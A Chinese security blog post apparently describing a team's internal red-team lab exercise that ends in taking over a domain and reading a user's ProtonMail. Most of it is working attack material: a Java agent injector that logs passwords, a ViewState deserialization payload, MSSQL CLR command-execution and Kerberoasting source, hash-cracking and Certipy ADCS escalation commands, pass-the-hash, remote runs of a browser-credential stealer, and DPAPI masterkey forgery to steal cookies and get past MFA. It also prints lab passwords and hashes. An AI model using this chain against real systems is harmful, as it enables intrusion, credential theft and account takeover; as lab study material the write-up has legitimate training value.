长亭百川云 - 文章详情

记一次团队内部的红蓝对抗-攻击篇

7bits安全团队

47

2024-07-13

记一次团队内部的红蓝对抗-攻击篇

任务目标

获取到dashe的protonmail邮件:

攻击路径

涉及的主要知识点

  • • cve-2022-36804

  • • javaAgent内存马记录密码

  • • .net machiney反序列化漏洞

  • • AV/EDR Bypass

  • • 代理技术

  • • mssql CLR 提权

  • • kerberosting

  • • ADCS域提权

  • • dpapi

  • • mfa绕过

  • • ......

机器情况

  • • bitbucket 192.168.112.159 [7990]

  • • web01 192.168.112.101 [80]

  • • sql01 192.168.112.201 [1433]

  • • adcs 192.168.112.230  [135,445,80]

  • • dc01 192.168.112.100  [135,445,389,88]

  • • dashe-pc 192.168.112.50 [445,135]

bitbucket

通过cve-2022-36804成功执行命令:

命令执行回显会被特殊字符截断且目标不出网,使用base64命令绕过限制获得完整回显:

简单进行信息搜集后,判断该机器为docker服务器且处于独立的vlan,无法与192.168.112.24/24通信。

深入利用

bitbucket为Atlassian公司生产的代码托管平台,主要技术栈为java:

很自然我们想到通过该平台获取到代码的源码或域凭据。一般来说常见的代码托管平台就gitlab和bitbucket这两个系列,两种应用的存储实现都是用本地文件+数据库的方式,本地文件是加密的。想要获取源文件需要详细分析系统的功能。

对于一线的红队工程师而言,我们可以选择一些其他的手段达到同样的效果。笔者这里使用记录明文密码的方式结合系统功能获取目标源码。

对于这种java系统,记录密码一般操作大概有三种:

  1. 1. 前端js挂马

  2. 2. 修改login.jsp文件,如zimbra的密码记录

  3. 3. 从内存的角度解决

这里选择了第三种方式,方案1不可行是因为当前为bitbucket权限,不具备修改js文件的权限。方案2不可行是因为不存在这样的登录入口,登录接口如下:

考虑从内存角度对请求进行hook,当前漏洞原理是命令的拼接实现rce,我们需要通过执行命令的方式修改jvm虚拟机正在执行的代码,这种技术就是javaAgent。

寻找已有的轮子进行修改,选择的项目为:https://github.com/threedr3am/ZhouYu

经过一番测试发现能hook到除了访问j_atl_security_check认证包之外的请求,并不能hook到认证请求。

经过一番测试,发现原版本周瑜HOOK的几个函数对这个认证请求不生效,针对bitbucket笔者找到了登录的函数,修改被hook的函数列表:

并且修改插入的代码:

直接编译https://github.com/7BitsTeam/LearningAgentShell/tree/main/ZhouYu-changed项目,需要带着依赖一起编译,agent-1.0-SNAPSHOT.jar编译结果约8m。

如何通过GET请求执行命令且不出网的环境上传一个8m的文件是一个较大的问题。笔者采用笨办法将文件base64后切片,用多个get请求上传,如果有bitbucket项目的修改权限,直接上传到一个项目用curl等命令下载即可。这里没有对应的项目权限。

写脚本自动上传,只能get请求还是相当恶心,这里传了2000多个包才成功:

上传的时候有一些要注意的地方,+在漏洞利用截断会被当成url解码,笔者这里使用*替代了+,上传后还需要用sed替换"\n"和*才能获得正常的base64:

sed ":a;N;s/\n//g;ta" /var/tmp/1.txt > /var/tmp/2.txt  
sed -i "s/*/+/g" /var/tmp/2.txt  
cat 2.txt | base64 -d > /tmp/agent-1.0-SNAPSHOT.jar  

上传成功后,需要将该jar包注入的bitbucket进程中,使用比较简单的注入程序:

`import com.sun.tools.attach.VirtualMachine;   import com.sun.tools.attach.VirtualMachineDescriptor;       import java.io.File;   import java.util.List;           public class Attach {           public static void main(String[] args) throws Exception {       VirtualMachine                 vm;   List<VirtualMachineDescriptor> vmList;       String agentFile = new File("/tmp/agent-1.0-SNAPSHOT.jar").getCanonicalPath();   System.out.println(agentFile);   try {   vmList = VirtualMachine.list();   for (VirtualMachineDescriptor vmd : vmList) {   System.out.println(vmd.displayName());   if (vmd.displayName().contains("BitbucketServer") || "".equals(vmd.displayName())) {   vm = VirtualMachine.attach(vmd);       if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) {   continue;   }       if (null != vm) {   vm.loadAgent(agentFile);   System.out.println("insert success");   vm.detach();   return;   }   }   }       System.out.println("No BitbucketServer Virtual Machine found.");   } catch (Exception e) {   e.printStackTrace();   }   }   }   `

注入器可以直接在bitbuck编译,执行

等待几分钟后成功获取到了账户密码:

关于bitbucket内存后门这块详细的分析:

https://mp.weixin.qq.com/s/OLNznd14NlzEzeGelRLV9g

web01

从bitbucket我们获取了一套.net网站的源码,对应内网的web01(192.168.112.101)。

拿到这种源码笔者最喜欢直接去看web.config,有惊喜收获:

密钥如果一直没修改的话是一个天然的后门。

团队的小伙伴也总结过几种利用情况:https://mp.weixin.qq.com/s/UGFu7zLDUMaCGNYlYm3WRw

这里应该是使用>=4.5这种情况,同时开启mac验证与加密:

使用ysoerial生成,这里使用的是老版本1.35:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c echo 123 > c:\inetpub\wwwroot\1.aspx" --path="/Account/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="9421E53E196BB56DB11B9C25197A2AD470638EFBC604AC74CD29DBBCF79D6046" --validationalg="SHA1" --validationkey="86B6275BA31D3D713E41388692FCA68F7D20269411345AA1C17A7386DACC9C46E7CE5F97F556F3CF0A07159659E2706B77731779D2DA4B53BC47BFFD4FD48A54"  --isdebug  

这里有个坑点,不能使用“--islegacy”参数,这个参数只用来测试apppath对不对,如果加了会报错签名校验失败。

执行后没反应,推测是有AV/EDR禁止了w3wp进程启动其他程序。

需要对ysoserial进行修改,参考:https://github.com/7BitsTeam/exch\_CVE-2021-42321/blob/main/TypeConfuseDelegateGenerator.cs

将typeconfuse链原本执行命令的功能改为通过c#代码上传文件的功能,绕过了edr。

代理搭建

在web01的web.config找到数据配置:

  <add connectionString="Server=192.168.112.201;Database=test;User ID=sa;Password=Fucksqlserver@2022" name="BlogEngine" providerName="System.Data.SqlClient" />

在vpn直接访问网络不通,需要通过web01做跳板。目标环境不出网且权限低,这种情况下笔者比较喜欢用neoregeorg这样的web正向后门。

配合proxifier和wintun可以完美建立正向隧道。

sql02

使用navicate连接,尝试使用xpcmd_shell提权:

`EXEC sp_configure 'show advanced options',1//允许修改高级参数   RECONFIGURE   EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展   RECONFIGURE   EXEC master.dbo.xp_cmdshell 'ipconfig'   `

不可行,应该是杀软拦了。尝试使用clr绕过。

clr类似于mysql的udf提权,加载一个dll执行对应功能。

源码:

`using System;   using System.Data;   using System.Data.SqlClient;   using System.Data.SqlTypes;   using System.Diagnostics;   using System.Text;   using Microsoft.SqlServer.Server;      public partial class StoredProcedures   {       [Microsoft.SqlServer.Server.SqlProcedure]       public static void ExecCommand (string cmd)       {           // 在此处放置代码           SqlContext.Pipe.Send("Command is running, please wait.");           SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));       }       public static string RunCommand(string filename,string arguments)       {           var process = new Process();              process.StartInfo.FileName = filename;           if (!string.IsNullOrEmpty(arguments))           {               process.StartInfo.Arguments = arguments;           }              process.StartInfo.CreateNoWindow = true;           process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;           process.StartInfo.UseShellExecute = false;              process.StartInfo.RedirectStandardError = true;           process.StartInfo.RedirectStandardOutput = true;           var stdOutput = new StringBuilder();           process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);           string stdError = null;           try           {               process.Start();               process.BeginOutputReadLine();               stdError = process.StandardError.ReadToEnd();               process.WaitForExit();           }           catch (Exception e)           {               SqlContext.Pipe.Send(e.Message);           }              if (process.ExitCode == 0)           {               SqlContext.Pipe.Send(stdOutput.ToString());           }           else           {               var message = new StringBuilder();                  if (!string.IsNullOrEmpty(stdError))               {                   message.AppendLine(stdError);               }                  if (stdOutput.Length != 0)               {                   message.AppendLine("Std output:");                   message.AppendLine(stdOutput.ToString());               }               SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);           }           return stdOutput.ToString();       }   }   `

进行编译

`"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"  /target:library helloworld.cs   `

将dll进行hex编码后执行mssql命令:

`sp_configure 'clr enabled', 1   GO   RECONFIGURE   GO   ALTER DATABASE test SET TRUSTWORTHY ON;   GO   CREATE ASSEMBLY [MSSQL_ShellcodeLoader]       AUTHORIZATION [dbo]       FROM [0xbin of dll]       WITH PERMISSION_SET = UNSAFE;   GO      CREATE PROCEDURE [dbo].[ExecCommand]   @cmd NVARCHAR (MAX)   AS EXTERNAL NAME [MSSQL_ShellcodeLoader].[StoredProcedures].[ExecCommand]   go      exec ExecCommand "whoami"      drop procedure shellcode_loader   drop assembly [MSSQL_ShellcodeLoader]   `

依旧存在问题

尝试能否直接执行c#代码:

执行:

`using System;   using System.Data;   using System.Data.SqlClient;   using System.Data.SqlTypes;   using System.Diagnostics;   using System.Text;   using System.IO;   using System.Security.Principal;   using Microsoft.SqlServer.Server;      public partial class StoredProcedures   {       [Microsoft.SqlServer.Server.SqlProcedure]       public static void ExecCommand (string cmd)       {           SqlContext.Pipe.Send("Command is running, please wait.");           SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));       }       public static string RunCommand(string filename,string arguments)       {          File.WriteAllText(@"c:\windows\temp\log.txt",WindowsIdentity.GetCurrent().Name);          return "ok";       }   }   `

读取文件:

`create table cmd (a text);   BULK INSERT cmd FROM 'c:\windows\temp\log.txt' WITH (FIELDTERMINATOR = 'n',ROWTERMINATOR = 'nn');   select * from cmd;   drop table cmd;   `

可行,这就转换成如何在只能执行代码的情况下进行下一步渗透的问题了。

当前账户为一个域账户且非本机管理员,但我们可以通过该账户身份去导出ldap信息,spn,gpo等域渗透信息。

通过ldap信息我们发现该账户是一个普通域账户,没有任何组。

`objectClass: top   objectClass: person   objectClass: organizationalPerson   objectClass: user   cn: sqlserver   givenName: sql   distinguishedName: CN=sqlserver,CN=Users,DC=test,DC=local   instanceType: 4   whenCreated: 03/15/2023 13:24:17   whenChanged: 03/15/2023 13:31:30   displayName: sql   uSNCreated: 13051   uSNChanged: 13076   name: sqlserver   objectGUID: {8505454D-ED0C-4949-8FD6-89A680ADB50F}   userAccountControl: 66048   badPwdCount: 0   codePage: 0   countryCode: 0   badPasswordTime: 133240643712543584   lastLogoff: 0   lastLogon: 133241392715435147   pwdLastSet: 133233605833788381   primaryGroupID: 513   objectSid: S-1-5-21-2687445417-3310065553-3308869922-1115   accountExpires: 9223372036854775807   logonCount: 40   sAMAccountName: sqlserver   sAMAccountType: 805306368   managedObjects: CN=SQL01,CN=Computers,DC=test,DC=local   objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=test,DC=local   dSCorePropagationData: 03/15/2023 13:24:17   dSCorePropagationData: 01/01/1601 00:00:00   lastLogonTimestamp: 133233606909502313   ADsPath: LDAP://dc01.test.local/CN=sqlserver,CN=Users,DC=test,DC=local   objectClass: top   objectClass: leaf   objectClass: secret   cn: BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret   distinguishedName: CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret,CN=System,DC=test,DC=local   instanceType: 4   whenCreated: 03/15/2023 13:31:31   whenChanged: 03/15/2023 13:31:31   uSNCreated: 13077   uSNChanged: 13079   showInAdvancedViewOnly: TRUE   name: BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret   objectGUID: {1D695EE2-EBCB-46B2-957A-B9B14729B3CE}   lastSetTime: 133233606916101649   priorSetTime: 133233606916101649   objectCategory: CN=Secret,CN=Schema,CN=Configuration,DC=test,DC=local   isCriticalSystemObject: TRUE   dSCorePropagationData: 01/01/1601 00:00:00   ADsPath: LDAP://dc01.test.local/CN=BCKUPKEY_d4d0df7e-b939-439e-bd36-f6874ec78dcd Secret,CN=System,DC=test,DC=local   `

暂时没有可以利用的点,接着选择导出spn及票据,主要代码源自https://github.com/GhostPack/SharpRoast:

`using System;   using System.Data;   using System.Data.SqlClient;   using System.Data.SqlTypes;   using System.Diagnostics;   using System.Text;   using System.IO;   using System.Security.Principal;   using Microsoft.SqlServer.Server;   using System.Text.RegularExpressions;   using System.DirectoryServices;   using System.DirectoryServices.AccountManagement;      public partial class StoredProcedures   {       [Microsoft.SqlServer.Server.SqlProcedure]       public static void ExecCommand (string cmd)       {           DirectoryEntry directoryObject = null;           DirectorySearcher userSearcher = null;           System.Net.NetworkCredential cred = null;           directoryObject = new DirectoryEntry();           userSearcher = new DirectorySearcher(directoryObject);           userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))";           SearchResultCollection users = userSearcher.FindAll();                          foreach (SearchResult user in users)           {               string samAccountName = user.Properties["samAccountName"][0].ToString();               string distinguishedName = user.Properties["distinguishedName"][0].ToString();               string spn = user.Properties["servicePrincipalName"][0].ToString();               SqlContext.Pipe.Send(string.Format("SamAccountName         : {0}", samAccountName));               SqlContext.Pipe.Send(string.Format("DistinguishedName      : {0}", distinguishedName));               SqlContext.Pipe.Send(string.Format("ServicePrincipalName   : {0}", spn));               string domain = "test.local";               string userName="test";                  System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString());                  try               {                   byte[] requestBytes = ticket.GetRequest();                   string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", "");                      // janky regex to try to find the part of the service ticket we want                   Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)", RegexOptions.IgnoreCase);                      if (match.Success)                   {                       // usually 23                       byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16);                          int cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4;                       string dataToEnd = match.Groups["DataToEnd"].ToString();                       string cipherText = dataToEnd.Substring(0, cipherTextLen * 2);                          if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482")                       {                           SqlContext.Pipe.Send(string.Format(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n", spn));                              bool header = false;                           foreach (string line in Split(ticketHexStream, 80))                           {                               if (!header)                               {                                   SqlContext.Pipe.Send(string.Format("TicketHexStream        : {0}", line));                               }                               else                               {                                   SqlContext.Pipe.Send(string.Format("                         {0}", line));                               }                               header = true;                           }                       }                       else                       {                           // output to hashcat format                           string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));                              bool header = false;                           foreach (string line in Split(hash, 80))                           {                               if (!header)                               {                                   SqlContext.Pipe.Send(string.Format("Hash                   : {0}", line));                               }                               else                               {                                   SqlContext.Pipe.Send(string.Format("                         {0}", line));                               }                               header = true;                           }                       }                   }               }               catch (Exception ex)               {                   SqlContext.Pipe.Send(string.Format("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message));               }           }       }       public static System.Collections.Generic.IEnumerable<string> Split(string text, int partLength)           {               if (text == null) { throw new ArgumentNullException("singleLineString"); }                  if (partLength < 1) { throw new ArgumentException("'columns' must be greater than 0."); }                  double partCount = Math.Ceiling((double)text.Length / partLength);               if (partCount < 2)               {                   yield return text;               }                  for (int i = 0; i < partCount; i++)               {                   int index = i * partLength;                   int lengthLeft = Math.Min(partLength, text.Length - index);                   string line = text.Substring(index, lengthLeft);                   yield return line;               }           }   }   `

装载几个依赖:

`CREATE ASSEMBLY [system.directoryservices]       FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.directoryservices.dll'       WITH PERMISSION_SET = UNSAFE;   GO      CREATE ASSEMBLY [system.identitymodel]       FROM 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\system.identitymodel.dll'       WITH PERMISSION_SET = UNSAFE;   GO   `

编译:

`"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /r:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.DirectoryServices.AccountManagement.dll" /r:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.IdentityModel.dll" roasting.cs   `

执行:

`sp_configure 'clr enabled', 1   GO   RECONFIGURE   GO   ALTER DATABASE test SET TRUSTWORTHY ON;   GO   CREATE ASSEMBLY [spn]       AUTHORIZATION [dbo]       FROM [0xbin of dll]       WITH PERMISSION_SET = UNSAFE;   GO      CREATE PROCEDURE [dbo].[roast]   @cmd NVARCHAR (MAX)   AS EXTERNAL NAME [spn].[StoredProcedures].[ExecCommand]   go      exec roast "whoami"      drop procedure roast   drop assembly [spn]   `

整理后获得spn及票据:

`Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0   SamAccountName         : roast   Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0   DistinguishedName      : CN=roast,CN=Users,DC=test,DC=local   Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0   ServicePrincipalName   : mssql/sql02.test.local   Msg 0, Level 0, State 2, Server SQL02, Procedure roast, Line 0      $krb5tgs$23$*test$test.local$mssql/sql02.test.local*$5F92C1AA1A523402150EB70C529CA5FA$1FDBE06854D3B1A3423D17BA39878FEB2826F1DA2AC4859BCCD7CE880446B0E3D3D55E649EF814E47CEFEFC03EEB674D22FD65F0FCA4C05B973B665C0BA4199733450A2FF2CDF33755453DAC48D05945A9476F81221011F4D027CFE0466489FE635AD4F5852249EE3C5741C8C5DE8DAC0BB5F934D6F5331EBCAE691EEAF1C793F510D11CE5145806A154FA62C50A4E931A84C10C191C792D316C4E049603C5749E59CE5E84FC0E59ADF60D32A3012E6899E34B19F2164C9E627D4683AABC07034B6BD93716A0C973D4CFC8B22E490EDBB78D6A690E6839767DB270B64BC3B795FF2B1F7E91D99364C6A41A849A3CA6EBCDA0A70ED22133E45808703BADE5C7553396FE594C1BE9BA7BB252B7B024FE6CC6EBDA4EEE67507B64FF4C6B73BE9E04BBA368D9D335C7BD0A66AB17FB7C287E6E29DE70493B72107DFACC13286EB96A0A1C3E99ED8982CB8B4B83659178602BFAE541162286CECE0E10969D88497475B8C168936305341C9CEE26071C4F42857E985ADD43E0356DE248D584051D1F0396B5880D706ABD32F79DDBC25E03EB9A309C82C6B5C42D55B660EBBC4F22AD41C1E4E2B5361BE14DE84A3BFB9829DCC9E47AC9C1FBD9729EC1289E54BB40E84347BA001F84959F045F3494F6282C2D8BD7C7C3DCCCE584A51E74CBF7108442E3869750614488F0A855005809F4C51E3941CB3792FF446321CCCE9B7D16295A46BDA54F5C11749C5D7A6CF801A97D36BBEE1AC2AABA7C1FC115FCDC5944452F2C5D4CD83806487F2728D365BB7AAC886E2CC62FE78845B1BA2BFF308500339274FD96E61A50FD309C6B2DE7A741381BEF73FA985FE5542F337E26B45B4B89CE7254D1CDCDA37FB62723B86AB41C7D0E68CCE79A3DECDDFE9766CC08CF0A16C55EBBEA1A87E4C51887A5647B5BDF8EF0CD2255C29ED508E6BC38086B746516EC6E02BC457DA449E3B79EBF7F12DC66AF0F9BEA27BEA6CD2FFF173F26E4C3EEB27CCC0AA5483AF8519B977582D2A5403E3E06B95ED97D2E0108E0B4A0BED4FEEC2D42CE016EA3E81A38B2E01CA1CF617FE4BD375C36BFF8A7514934E07B90125D8A8A25066ED0BE045FAFCD4009C1476748B908DCB319A7436E6430FB9D27F5C3D70105045B8E9950A85C3CD4BE2C8C3E66573E04BBF98EEEF545C1D34A8F00384AE89485F17F   `

查看ldap信息并使用hashcat等工具破解:

`john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast   hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt   ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi   `

得到roast用户的密码:SysAdmin#2023

结合域信息发现存在一台adcs服务器且roast为一普通域账户,可以尝试使用CVE-2022-26923提权

先测试一下是否能正常使用,申请roast用户的证书:

`certipy req -u "roast" -p "Sysadmin#2023" -ca TEST-ADCS-CA -template User -target 192.168.112.230 -dc-ip 192.168.112.100 -debug   `

通过证书获取hash:

`certipy auth -pfx roast.pfx -dc-ip 192.168.112.100   `

可以,进行正式漏洞利用。创建一个机器账户并将dnsHostName属性改为dc的机器名:

`certipy account create -dc-ip 192.168.112.100 -u "roast" -p "Sysadmin#2023" -user pwntest -dns dc01.test.local -debug   `

通过新建的机器账户申请dc01的证书:

certipy req -u "pwntest$" -p "nVi3l2cMiXECZ0pP" -ca TEST-ADCS-CA -template Machine -target 192.168.112.230 -dc-ip 192.168.112.100 -debug  

使用dc01的证书获取hash:

certipy auth -pfx dc01.pfx -dc-ip 192.168.112.100  

使用secretdump导出域控的机器hash:

aad3b435b51404eeaad3b435b51404ee:d9c6c7a01ffc61f41d88ff7268b084d5  

使用域控的机器hash获得所有的hash:

dashe-PC

域管的hash为 cd46c85aaf6e13ef4ff88f106bd296ca,密码强度比较高,无法破解。

pth后smb访问,发现没有装防护软件

直接使用https://github.com/moonD4rk/HackBrowserData工具,抓取浏览器信息:

copy hack-browser-data-windows-64bit.exe \\192.168.112.50\c$\windows\temp  
  
wmic /node:192.168.112.50 process call create "cmd /c c:\windows\temp\hack-browser-data-windows-64bit.exe > c:\windows\temp\1.txt 2>&1"  

读取命令执行结果:

没找到chrome,应该是获取masterkey是用内存手段获取masterkey的,只能获取到当前用户,需要我们用dashe的身份执行。

这里不能使用wmic,因为wmic默认是system权限,可以使用schtasks:

使用dashe的hash重新pth:

sekurlsa::pth /domain:test.local /dc:dc01.test.local /user:dashe /ntlm:d67df352cdec7779b5b58953b3f2e2ee  

执行

schtasks /create /s 192.168.112.50 /tn backdoor /sc minute /mo 1  /tr c:\windows\temp\hack-browser-data-windows-64bit.exe /ru "test.local\dashe" /f  
schtasks /run /s 192.168.112.50 /i /tn test  
schtasks /delete /s 192.168.112.50 /tn "backdoor" /f  

奇怪的报错:

查了一圈不知道怎么解决,现在面临的问题是没法以dashe用户身份执行命令,上传mimikatz一把梭也不行。只能一步一步来到本地解密。

通过domainkey获取masterkey

获取masterkey方法不止一种,这里选择从域的pvk中获取,首先使用SharpDPAPI获取pvk:

SharpDPAPI.exe  backupkey /server:dc01.test.local /file:key.pvk  

之后将pvk传到目标机器上,再使用

cmd /c SharpChrome.exe logins /pvk:key.pvk > c:\1.txt  

即可获取logins解密的结果:

尝试登录,存在双因子认证:

从chrome中解cookie:

导入浏览器插件CookieEditor,protonmail有好几个域:

  • account.proton.me

  • account-api.proton.me

  • mail.proton.me ...

面对这种情况Cookie-Editor不是很好使。不能直接用插件导入,mimikatz提供了一个办法可以伪造一个masterkey:

xcopy "\\192.168.112.50\C$\users\dashe\appdata\Roaming\Microsoft\Protect\S-1-5-21-2687445417-3310065553-3308869922-1140\1e366a60-0518-4f7c-abdb-65eb5d35bdf5" /h  
  
mimikatz # dpapi::masterkey /in:1e366a60-0518-4f7c-abdb-65eb5d35bdf5 /pvk:key.pvk  

获得一个key:

新建一台虚拟机安装chrome,管理员账户的密码设置为123456,拷贝整个chrome的default到新机器。使用dpapi生成新的masterkey文件,注意需要在新装的机器上执行。

`dpapi::create /guid:{1e366a60-0518-4f7c-abdb-65eb5d35bdf5} /key:273d524993beaeced20b4a406a91a706deac9bb343d730d8c8da15dab500ab51b298545607602cd71a88d50c0abe87d6e6de44668b6176ef71e731a275a89117 /password:123456 /protected   `

将masterkey文件拷贝到Administrator用户的目录下

xcopy 1e366a60-0518-4f7c-abdb-65eb5d35bdf5 C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-1943907461-1399315114-1286489734-500 /h  

重启chrome可以看到cookie已经成功导入:

获得最后的flag:

总结

本环境是中等难度的一套环境,大多是常规手法进行突破。环境目前已公开在7bits攻防对抗平台,详情可以点击公众号菜单中的"靶场平台",或点击下方超链接了解。

xBitsPlatform公测版正式上线啦

交流群

知识星球

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2